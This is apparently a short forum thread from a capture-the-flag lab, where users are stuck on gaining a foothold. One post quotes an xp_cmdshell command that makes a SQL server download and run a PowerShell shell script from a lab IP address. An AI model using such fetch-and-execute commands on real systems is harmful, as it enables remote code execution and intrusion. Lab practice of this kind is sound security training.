Foothold Section got Stuck

Keeps loading No output in SQL in following command
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.52/shell.ps1");"

Getting this error can anyone plzzz resolve this it will be much appreciated

i am also stuck here … i think the logo file has the clue some how we need to get that openlogo-75.png